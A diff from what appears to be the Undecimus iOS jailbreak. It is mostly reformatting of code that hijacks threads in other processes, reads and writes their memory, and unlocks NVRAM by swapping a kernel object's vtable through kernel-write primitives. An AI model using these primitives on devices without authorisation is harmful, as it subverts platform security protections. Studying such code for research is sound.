arg_desc* args[MAX_REMOTE_ARGS] = {0};
|
||||
|
||||
for (int i = 0; i < n_params; i++){
|
||||
|
||||
arg_desc* args[MAX_REMOTE_ARGS] = { 0 };
|
||||
|
||||
for (int i = 0; i < n_params; i++) {
|
||||
arg_desc* arg = va_arg(ap, arg_desc*);
|
||||
|
||||
|
||||
args[i] = arg;
|
||||
|
||||
switch(arg->type){
|
||||
case ARG_LITERAL:
|
||||
{
|
||||
//printf("setting arg %d to literal %llx\n", i, arg->value);
|
||||
fcall_thread_state.__x[i] = arg->value;
|
||||
break;
|
||||
}
|
||||
|
||||
switch (arg->type) {
|
||||
case ARG_LITERAL: {
|
||||
//LOG("setting arg %d to literal %llx", i, arg->value);
|
||||
fcall_thread_state.__x[i] = arg->value;
|
||||
break;
|
||||
}
|
||||
#if 0
|
||||
case ARG_BUFFER:
|
||||
case ARG_BUFFER_PERSISTENT:
|
||||
@@ -308,69 +300,67 @@ uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, .
|
||||
case ARG_OUT_BUFFER:
|
||||
{
|
||||
uint64_t remote_buffer = remote_alloc(task_port, arg->length);
|
||||
printf("allocated a remote out buffer: %llx\n", remote_buffer);
|
||||
LOG("allocated a remote out buffer: %llx", remote_buffer);
|
||||
remote_buffers[i] = remote_buffer;
|
||||
thread_state.__x[i] = remote_buffer;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
{
|
||||
printf("invalid argument type!\n");
|
||||
}
|
||||
default: {
|
||||
LOG("invalid argument type!");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
va_end(ap);
|
||||
#if 0
|
||||
printf("fcall thread state:\n");
|
||||
printf("pc: 0x%016llx\n", fcall_thread_state.__pc);
|
||||
printf("sp: 0x%016llx\n", fcall_thread_state.__sp);
|
||||
printf("fp: 0x%016llx\n", fcall_thread_state.__fp);
|
||||
printf("lr: 0x%016llx\n", fcall_thread_state.__lr);
|
||||
LOG("fcall thread state:");
|
||||
LOG("pc: 0x%016llx", fcall_thread_state.__pc);
|
||||
LOG("sp: 0x%016llx", fcall_thread_state.__sp);
|
||||
LOG("fp: 0x%016llx", fcall_thread_state.__fp);
|
||||
LOG("lr: 0x%016llx", fcall_thread_state.__lr);
|
||||
for (int i = 0; i < 29; i++) {
|
||||
printf("x%d: 0x%016llx\n", i, fcall_thread_state.__x[i]);
|
||||
LOG("x%d: 0x%016llx", i, fcall_thread_state.__x[i]);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
// set the thread state:
|
||||
err = thread_set_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&fcall_thread_state, fcall_thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error setting new thread state for hijacked thread: %s\n", mach_error_string(err));
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error setting new thread state for hijacked thread: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
// let the thread continue running with the new state:
|
||||
err = thread_resume(thread_port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("error resuming hijacked thread: %s\n", mach_error_string(err));
|
||||
LOG("error resuming hijacked thread: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
//printf("resumed thread\n");
|
||||
|
||||
//LOG("resumed thread");
|
||||
|
||||
// monitor for the function call ending and the thread hitting the infinite loop:
|
||||
// we're reusing fcall state so we can also get the return value via x0
|
||||
while(1){
|
||||
usleep(100*1000);
|
||||
while (1) {
|
||||
usleep(100 * 1000);
|
||||
thread_suspend(thread_port);
|
||||
err = thread_get_state(thread_port, ARM_THREAD_STATE64, (thread_state_t)&fcall_thread_state, &fcall_thread_stateCnt);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("error getting thread state: %s\n", mach_error_string(err));
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("error getting thread state: %s", mach_error_string(err));
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
thread_resume(thread_port);
|
||||
|
||||
if (fcall_thread_state.__pc == find_blr_x19_gadget()){
|
||||
|
||||
if (fcall_thread_state.__pc == find_blr_x19_gadget()) {
|
||||
// thread has returned from the target function
|
||||
//printf("hit looper!\n");
|
||||
//LOG("hit looper!");
|
||||
break;
|
||||
}
|
||||
//printf("got bad pc: 0x%llx\n", fcall_thread_state.__pc);
|
||||
//LOG("got bad pc: 0x%llx", fcall_thread_state.__pc);
|
||||
}
|
||||
|
||||
|
||||
uint64_t ret_val = fcall_thread_state.__x[0];
|
||||
|
||||
|
||||
return ret_val;
|
||||
}
|
||||
|
||||
|
||||
@@ -5,24 +5,28 @@
|
||||
#include <stdint.h>
|
||||
|
||||
enum arg_type {
|
||||
ARG_LITERAL,
|
||||
ARG_BUFFER,
|
||||
ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
|
||||
ARG_OUT_BUFFER
|
||||
ARG_LITERAL,
|
||||
ARG_BUFFER,
|
||||
ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
|
||||
ARG_OUT_BUFFER
|
||||
};
|
||||
|
||||
typedef struct _arg_desc {
|
||||
uint64_t type;
|
||||
uint64_t value;
|
||||
uint64_t length;
|
||||
uint64_t type;
|
||||
uint64_t value;
|
||||
uint64_t length;
|
||||
} arg_desc;
|
||||
|
||||
#define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}
|
||||
#define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}
|
||||
#define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}
|
||||
#define REMOTE_BUFFER_PERSISTENT(ptr, size) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size}
|
||||
#define REMOTE_CSTRING_PERSISTENT(str) &(arg_desc){ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str)+1)}
|
||||
|
||||
#define REMOTE_LITERAL(val) \
|
||||
&(arg_desc) { ARG_LITERAL, (uint64_t)val, (uint64_t)0 }
|
||||
#define REMOTE_BUFFER(ptr, size) \
|
||||
&(arg_desc) { ARG_BUFFER, (uint64_t)ptr, (uint64_t)size }
|
||||
#define REMOTE_CSTRING(str) \
|
||||
&(arg_desc) { ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str) + 1) }
|
||||
#define REMOTE_BUFFER_PERSISTENT(ptr, size) \
|
||||
&(arg_desc) { ARG_BUFFER_PERSISTENT, (uint64_t)ptr, (uint64_t)size }
|
||||
#define REMOTE_CSTRING_PERSISTENT(str) \
|
||||
&(arg_desc) { ARG_BUFFER_PERSISTENT, (uint64_t)str, (uint64_t)(strlen(str) + 1) }
|
||||
|
||||
// allocate a remote buffer and pass the address of that to the remote function
|
||||
// when the function call is complete return the contents of that buffer to this process
|
||||
@@ -34,10 +38,10 @@ typedef struct _arg_desc {
|
||||
// call_remote(task_port, bootstrap_look_up, 3, REMOTE_LITERAL(remote_bootstrap_port), REMOTE_CSTRING("com.foo.bar"), REMOTE_OUT_BUFFER(&port, sizeof(port))
|
||||
// // port set to value of looked up port in remote process
|
||||
// // note that this doesn't actually transfer the port! use other helpers for that
|
||||
#define REMOTE_OUT_BUFFER(ptr, size) &(arg_desc){ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size}
|
||||
#define REMOTE_OUT_BUFFER(ptr, size) \
|
||||
&(arg_desc) { ARG_OUT_BUFFER, (uint64_t)ptr, (uint64_t)size }
|
||||
|
||||
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);
|
||||
uint64_t thread_call_remote(mach_port_t thread_port, void* fptr, int n_params, ...);
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -1,135 +1,123 @@
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/task.h>
|
||||
|
||||
#include "remote_memory.h"
|
||||
|
||||
#include <common.h>
|
||||
|
||||
// no headers for these in iOS SDK:
|
||||
extern kern_return_t mach_vm_allocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_deallocate
|
||||
(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_read_overwrite
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize
|
||||
);
|
||||
|
||||
extern kern_return_t mach_vm_write
|
||||
(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt
|
||||
);
|
||||
extern kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t* address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
extern kern_return_t mach_vm_deallocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
extern kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t* outsize);
|
||||
|
||||
extern kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
uint64_t
|
||||
remote_alloc(mach_port_t task_port,
|
||||
uint64_t size)
|
||||
uint64_t size)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_offset_t remote_addr = 0;
|
||||
mach_vm_size_t remote_size = (mach_vm_size_t)size;
|
||||
err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to allocate buffer in remote process\n");
|
||||
return 0;
|
||||
}
|
||||
return (uint64_t)remote_addr;
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_offset_t remote_addr = 0;
|
||||
mach_vm_size_t remote_size = (mach_vm_size_t)size;
|
||||
err = mach_vm_allocate(task_port, &remote_addr, remote_size, 1); // ANYWHERE
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to allocate buffer in remote process");
|
||||
return 0;
|
||||
}
|
||||
return (uint64_t)remote_addr;
|
||||
}
|
||||
|
||||
void
|
||||
remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size)
|
||||
void remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unabble to deallocate remote buffer\n");
|
||||
kern_return_t err;
|
||||
|
||||
err = mach_vm_deallocate(task_port, (mach_vm_address_t)base, (mach_vm_size_t)size);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unabble to deallocate remote buffer");
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
uint64_t
|
||||
alloc_and_fill_remote_buffer(mach_port_t task_port,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_address = remote_alloc(task_port, length);
|
||||
|
||||
err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("unable to write to remote memory\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return remote_address;
|
||||
kern_return_t err;
|
||||
|
||||
uint64_t remote_address = remote_alloc(task_port, length);
|
||||
|
||||
err = mach_vm_write(task_port, remote_address, (mach_vm_offset_t)local_address, (mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("unable to write to remote memory");
|
||||
return 0;
|
||||
}
|
||||
|
||||
return remote_address;
|
||||
}
|
||||
|
||||
void
|
||||
remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
void remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("remote read failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (outsize != length){
|
||||
printf("remote read was short (expected %llx, got %llx\n", length, outsize);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(task_port, (mach_vm_address_t)remote_address, (mach_vm_size_t)length, (mach_vm_address_t)local_address, &outsize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("remote read failed");
|
||||
return;
|
||||
}
|
||||
|
||||
if (outsize != length) {
|
||||
LOG("remote read was short (expected %llx, got %llx", length, outsize);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void
|
||||
remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
void remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length)
|
||||
{
|
||||
kern_return_t err = mach_vm_write(remote_task_port,
|
||||
(mach_vm_address_t)remote_address,
|
||||
(vm_offset_t)local_address,
|
||||
(mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("remote write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
kern_return_t err = mach_vm_write(remote_task_port,
|
||||
(mach_vm_address_t)remote_address,
|
||||
(vm_offset_t)local_address,
|
||||
(mach_msg_type_number_t)length);
|
||||
if (err != KERN_SUCCESS) {
|
||||
LOG("remote write failed: %s %x", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,38 +1,35 @@
|
||||
#ifndef remote_memory_h
|
||||
#define remote_memory_h
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// allocate a buffer in the remote process
|
||||
uint64_t
|
||||
remote_alloc(mach_port_t task_port,
|
||||
uint64_t size);
|
||||
uint64_t size);
|
||||
|
||||
// free a buffer in the remote process
|
||||
void
|
||||
remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size);
|
||||
void remote_free(mach_port_t task_port,
|
||||
uint64_t base,
|
||||
uint64_t size);
|
||||
|
||||
// allocate a buffer in the remote process and fill it with the given contents
|
||||
uint64_t
|
||||
alloc_and_fill_remote_buffer(mach_port_t task_port,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
// read from the remote address to the local address
|
||||
// local address must be the address of a buffer at least length bytes in size
|
||||
void
|
||||
remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
void remote_read_overwrite(mach_port_t task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
void
|
||||
remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
void remote_write(mach_port_t remote_task_port,
|
||||
uint64_t remote_address,
|
||||
uint64_t local_address,
|
||||
uint64_t length);
|
||||
|
||||
#endif /* remote_memory_h */
|
||||
|
||||
@@ -12,20 +12,16 @@
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "kutils.h"
|
||||
#include "QiLin.h"
|
||||
#include "offsets.h"
|
||||
#include "iokit.h"
|
||||
#include "kmem.h"
|
||||
#include <iokit.h>
|
||||
#include <common.h>
|
||||
#include "KernelUtilities.h"
|
||||
#include "KernelStructureOffsets.h"
|
||||
#include "KernelMemory.h"
|
||||
|
||||
// from vtable start in bytes
|
||||
unsigned VTB_IODTNVRAM__SEARCHNVRAMPROPERTY = 0x590;
|
||||
unsigned VTB_IODTNVRAM__GETOFVARIABLEPERM = 0x558;
|
||||
|
||||
#define RAWLOG(fmt, args...) fprintf(stderr, fmt, ##args)
|
||||
#define INFO(fmt, args...) RAWLOG("[INF]" fmt "\n", ##args)
|
||||
#define ERROR(fmt, args...) RAWLOG("[ERR] " fmt "\n", ##args)
|
||||
|
||||
// convertPropToObject calls getOFVariableType
|
||||
// open convertPropToObject, look for first vtable call -- that'd be getOFVariableType
|
||||
// find xrefs, figure out vtable start from that
|
||||
@@ -38,13 +34,13 @@ uint64_t get_iodtnvram_obj(void) {
|
||||
if (IODTNVRAMObj == 0) {
|
||||
io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
|
||||
if (!MACH_PORT_VALID(IODTNVRAMSrv)) {
|
||||
ERROR("Failed to get IODTNVRAM service");
|
||||
LOG("Failed to get IODTNVRAM service");
|
||||
return 0;
|
||||
}
|
||||
uint64_t nvram_up = getAddressOfPort(getpid(), IODTNVRAMSrv);
|
||||
IODTNVRAMObj = rk64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
uint64_t nvram_up = get_address_of_port(getpid(), IODTNVRAMSrv);
|
||||
IODTNVRAMObj = ReadKernel64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
INFO("IODTNVRAM obj at 0x%llx", IODTNVRAMObj);
|
||||
LOG("IODTNVRAM obj at 0x%llx", IODTNVRAMObj);
|
||||
}
|
||||
|
||||
return IODTNVRAMObj;
|
||||
@@ -55,18 +51,18 @@ uint64_t orig_vtable = -1;
|
||||
int unlocknvram(void) {
|
||||
uint64_t obj = get_iodtnvram_obj();
|
||||
if (obj == 0) {
|
||||
ERROR("get_iodtnvram_obj failed!");
|
||||
LOG("get_iodtnvram_obj failed!");
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t vtable_start = rk64(obj);
|
||||
uint64_t vtable_start = ReadKernel64(obj);
|
||||
|
||||
orig_vtable = vtable_start;
|
||||
|
||||
uint64_t vtable_end = vtable_start;
|
||||
// Is vtable really guaranteed to end with 0 or was it just a coincidence?..
|
||||
// should we just use some max value instead?
|
||||
while (rk64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
|
||||
while (ReadKernel64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
|
||||
|
||||
uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start);
|
||||
|
||||
@@ -74,10 +70,10 @@ int unlocknvram(void) {
|
||||
uint64_t *buf = calloc(1, vtable_len);
|
||||
rkbuffer(vtable_start, buf, vtable_len);
|
||||
|
||||
INFO("IODTNVRAM vtable: 0x%llx - 0x%llx", vtable_start, vtable_end);
|
||||
LOG("IODTNVRAM vtable: 0x%llx - 0x%llx", vtable_start, vtable_end);
|
||||
|
||||
for (int i = 0; i != vtable_len; i += sizeof(uint64_t)) {
|
||||
INFO("\t[0x%03x]: 0x%llx", i, buf[i/sizeof(uint64_t)]);
|
||||
LOG("\t[0x%03x]: 0x%llx", i, buf[i/sizeof(uint64_t)]);
|
||||
}
|
||||
|
||||
// alter it
|
||||
@@ -89,27 +85,27 @@ int unlocknvram(void) {
|
||||
wkbuffer(fake_vtable, buf, vtable_len);
|
||||
|
||||
// replace vtable on IODTNVRAM object
|
||||
wk64(obj, fake_vtable);
|
||||
WriteKernel64(obj, fake_vtable);
|
||||
|
||||
free(buf);
|
||||
INFO("Unlocked nvram");
|
||||
LOG("Unlocked nvram");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int locknvram(void) {
|
||||
if (orig_vtable == -1) {
|
||||
ERROR("Trying to lock nvram, but didnt unlock first");
|
||||
LOG("Trying to lock nvram, but didnt unlock first");
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint64_t obj = get_iodtnvram_obj();
|
||||
if (obj == 0) { // would never happen but meh
|
||||
ERROR("get_iodtnvram_obj failed!");
|
||||
LOG("get_iodtnvram_obj failed!");
|
||||
return 1;
|
||||
}
|
||||
|
||||
wk64(obj, orig_vtable);
|
||||
WriteKernel64(obj, orig_vtable);
|
||||
|
||||
INFO("Locked nvram");
|
||||
LOG("Locked nvram");
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -1,247 +0,0 @@
|
||||
/*
|
||||
* "untar" is an extremely simple tar extractor:
|
||||
* * A single C source file, so it should be easy to compile
|
||||
* and run on any system with a C compiler.
|
||||
* * Extremely portable standard C. The only non-ANSI function
|
||||
* used is mkdir().
|
||||
* * Reads basic ustar tar archives.
|
||||
* * Does not require libarchive or any other special library.
|
||||
*
|
||||
* To compile: cc -o untar untar.c
|
||||
*
|
||||
* Usage: untar <archive>
|
||||
*
|
||||
* In particular, this program should be sufficient to extract the
|
||||
* distribution for libarchive, allowing people to bootstrap
|
||||
* libarchive on systems that do not already have a tar program.
|
||||
*
|
||||
* To unpack libarchive-x.y.z.tar.gz:
|
||||
* * gunzip libarchive-x.y.z.tar.gz
|
||||
* * untar libarchive-x.y.z.tar
|
||||
*
|
||||
* Written by Tim Kientzle, March 2009.
|
||||
* Modified by xerub, sometime in 2017.
|
||||
*
|
||||
* Released into the public domain.
|
||||
*/
|
||||
|
||||
/* These are all highly standard and portable headers. */
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* This is for mkdir(); this may need to be changed for some platforms. */
|
||||
#include <sys/stat.h> /* For mkdir() */
|
||||
|
||||
/* Parse an octal number, ignoring leading and trailing nonsense. */
|
||||
static int
|
||||
parseoct(const char *p, size_t n)
|
||||
{
|
||||
int i = 0;
|
||||
|
||||
while (*p < '0' || *p > '7') {
|
||||
++p;
|
||||
--n;
|
||||
}
|
||||
while (*p >= '0' && *p <= '7' && n > 0) {
|
||||
i *= 8;
|
||||
i += *p - '0';
|
||||
++p;
|
||||
--n;
|
||||
}
|
||||
return (i);
|
||||
}
|
||||
|
||||
/* Returns true if this is 512 zero bytes. */
|
||||
static int
|
||||
is_end_of_archive(const char *p)
|
||||
{
|
||||
int n;
|
||||
for (n = 511; n >= 0; --n)
|
||||
if (p[n] != '\0')
|
||||
return (0);
|
||||
return (1);
|
||||
}
|
||||
|
||||
/* Create a directory, including parent directories as necessary. */
|
||||
static void
|
||||
create_dir(char *pathname, int mode, int owner, int group)
|
||||
{
|
||||
char *p;
|
||||
int r;
|
||||
|
||||
struct stat st;
|
||||
r = stat(pathname, &st);
|
||||
if (r == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* Strip trailing '/' */
|
||||
if (pathname[strlen(pathname) - 1] == '/')
|
||||
pathname[strlen(pathname) - 1] = '\0';
|
||||
|
||||
/* Try creating the directory. */
|
||||
r = mkdir(pathname, mode);
|
||||
|
||||
if (r != 0) {
|
||||
/* On failure, try creating parent directory. */
|
||||
p = strrchr(pathname, '/');
|
||||
if (p != NULL) {
|
||||
*p = '\0';
|
||||
create_dir(pathname, 0755, -1, -1);
|
||||
*p = '/';
|
||||
r = mkdir(pathname, mode);
|
||||
}
|
||||
}
|
||||
if (r != 0)
|
||||
fprintf(stderr, "Could not create directory %s\n", pathname);
|
||||
else if (owner >= 0 && group >= 0)
|
||||
chown(pathname, owner, group);
|
||||
}
|
||||
|
||||
/* Create a file, including parent directory as necessary. */
|
||||
static int
|
||||
create_file(char *pathname, int mode, int owner, int group)
|
||||
{
|
||||
int f;
|
||||
if (unlink(pathname) && errno != ENOENT) {
|
||||
return -1;
|
||||
}
|
||||
f = creat(pathname, mode);
|
||||
if (f < 0) {
|
||||
/* Try creating parent dir and then creating file. */
|
||||
char *p = strrchr(pathname, '/');
|
||||
if (p != NULL) {
|
||||
*p = '\0';
|
||||
create_dir(pathname, 0755, -1, -1);
|
||||
*p = '/';
|
||||
f = creat(pathname, mode);
|
||||
}
|
||||
}
|
||||
fchown(f, owner, group);
|
||||
return (f);
|
||||
}
|
||||
|
||||
/* Verify the tar checksum. */
|
||||
static int
|
||||
verify_checksum(const char *p)
|
||||
{
|
||||
int n, u = 0;
|
||||
for (n = 0; n < 512; ++n) {
|
||||
if (n < 148 || n > 155)
|
||||
/* Standard tar checksum adds unsigned bytes. */
|
||||
u += ((unsigned char *)p)[n];
|
||||
else
|
||||
u += 0x20;
|
||||
|
||||
}
|
||||
return (u == parseoct(p + 148, 8));
|
||||
}
|
||||
|
||||
/* Extract a tar archive. */
|
||||
void
|
||||
untar(FILE *a, const char *path)
|
||||
{
|
||||
char buff[512];
|
||||
int f = -1;
|
||||
size_t bytes_read;
|
||||
int filesize;
|
||||
|
||||
printf("Extracting from %s\n", path);
|
||||
for (;;) {
|
||||
bytes_read = fread(buff, 1, 512, a);
|
||||
if (bytes_read < 512) {
|
||||
fprintf(stderr,
|
||||
"Short read on %s: expected 512, got %zd\n",
|
||||
path, bytes_read);
|
||||
return;
|
||||
}
|
||||
if (is_end_of_archive(buff)) {
|
||||
printf("End of %s\n", path);
|
||||
return;
|
||||
}
|
||||
if (!verify_checksum(buff)) {
|
||||
fprintf(stderr, "Checksum failure\n");
|
||||
return;
|
||||
}
|
||||
filesize = parseoct(buff + 124, 12);
|
||||
switch (buff[156]) {
|
||||
case '1':
|
||||
printf(" Ignoring hardlink %s\n", buff);
|
||||
break;
|
||||
case '2':
|
||||
printf(" Extracting symlink %s -> %s\n", buff, buff + 157);
|
||||
if (unlink(buff) && errno != ENOENT) {
|
||||
break;
|
||||
}
|
||||
symlink(buff + 157, buff);
|
||||
break;
|
||||
case '3':
|
||||
printf(" Ignoring character device %s\n", buff);
|
||||
break;
|
||||
case '4':
|
||||
printf(" Ignoring block device %s\n", buff);
|
||||
break;
|
||||
case '5':
|
||||
printf(" Extracting dir %s\n", buff);
|
||||
create_dir(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
|
||||
filesize = 0;
|
||||
break;
|
||||
case '6':
|
||||
printf(" Ignoring FIFO %s\n", buff);
|
||||
break;
|
||||
default:
|
||||
printf(" Extracting file %s\n", buff);
|
||||
f = create_file(buff, parseoct(buff + 100, 8), parseoct(buff + 108, 8), parseoct(buff + 116, 8));
|
||||
break;
|
||||
}
|
||||
while (filesize > 0) {
|
||||
bytes_read = fread(buff, 1, 512, a);
|
||||
if (bytes_read < 512) {
|
||||
fprintf(stderr,
|
||||
"Short read on %s: Expected 512, got %zd\n",
|
||||
path, bytes_read);
|
||||
return;
|
||||
}
|
||||
if (filesize < 512)
|
||||
bytes_read = filesize;
|
||||
if (f >= 0) {
|
||||
if (write(f, buff, bytes_read)
|
||||
!= bytes_read)
|
||||
{
|
||||
fprintf(stderr, "Failed write\n");
|
||||
close(f);
|
||||
f = -1;
|
||||
}
|
||||
}
|
||||
filesize -= bytes_read;
|
||||
}
|
||||
if (f >= 0) {
|
||||
close(f);
|
||||
f = -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef HAVE_MAIN
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
FILE *a;
|
||||
|
||||
++argv; /* Skip program name */
|
||||
for ( ;*argv != NULL; ++argv) {
|
||||
a = fopen(*argv, "r");
|
||||
if (a == NULL)
|
||||
fprintf(stderr, "Unable to open %s\n", *argv);
|
||||
else {
|
||||
untar(a, *argv);
|
||||
fclose(a);
|
||||
}
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
#endif
|
||||
@@ -1,9 +0,0 @@
|
||||
#ifndef untar_h
|
||||
#define untar_h
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
void
|
||||
untar(FILE *a, const char *path);
|
||||
|
||||
#endif /* untar_h */
|
||||
+107
-5
@@ -3,14 +3,116 @@
|
||||
// Undecimus
|
||||
//
|
||||
// Created by Sam Bingner on 11/23/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
// Copyright © 2018 - 2019 Sam Bingner. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef utils_h
|
||||
#define utils_h
|
||||
#ifndef _UTILS_H
|
||||
#define _UTILS_H
|
||||
#import <sys/types.h>
|
||||
#import <sys/stat.h>
|
||||
|
||||
int sha1_to_str(const unsigned char *hash, int hashlen, char *buf, size_t buflen);
|
||||
#define system(x) _system(x)
|
||||
extern int logfd;
|
||||
|
||||
#define DEFAULT_VERSION_STRING "Hacked"
|
||||
|
||||
#define empty_list_exploit 0
|
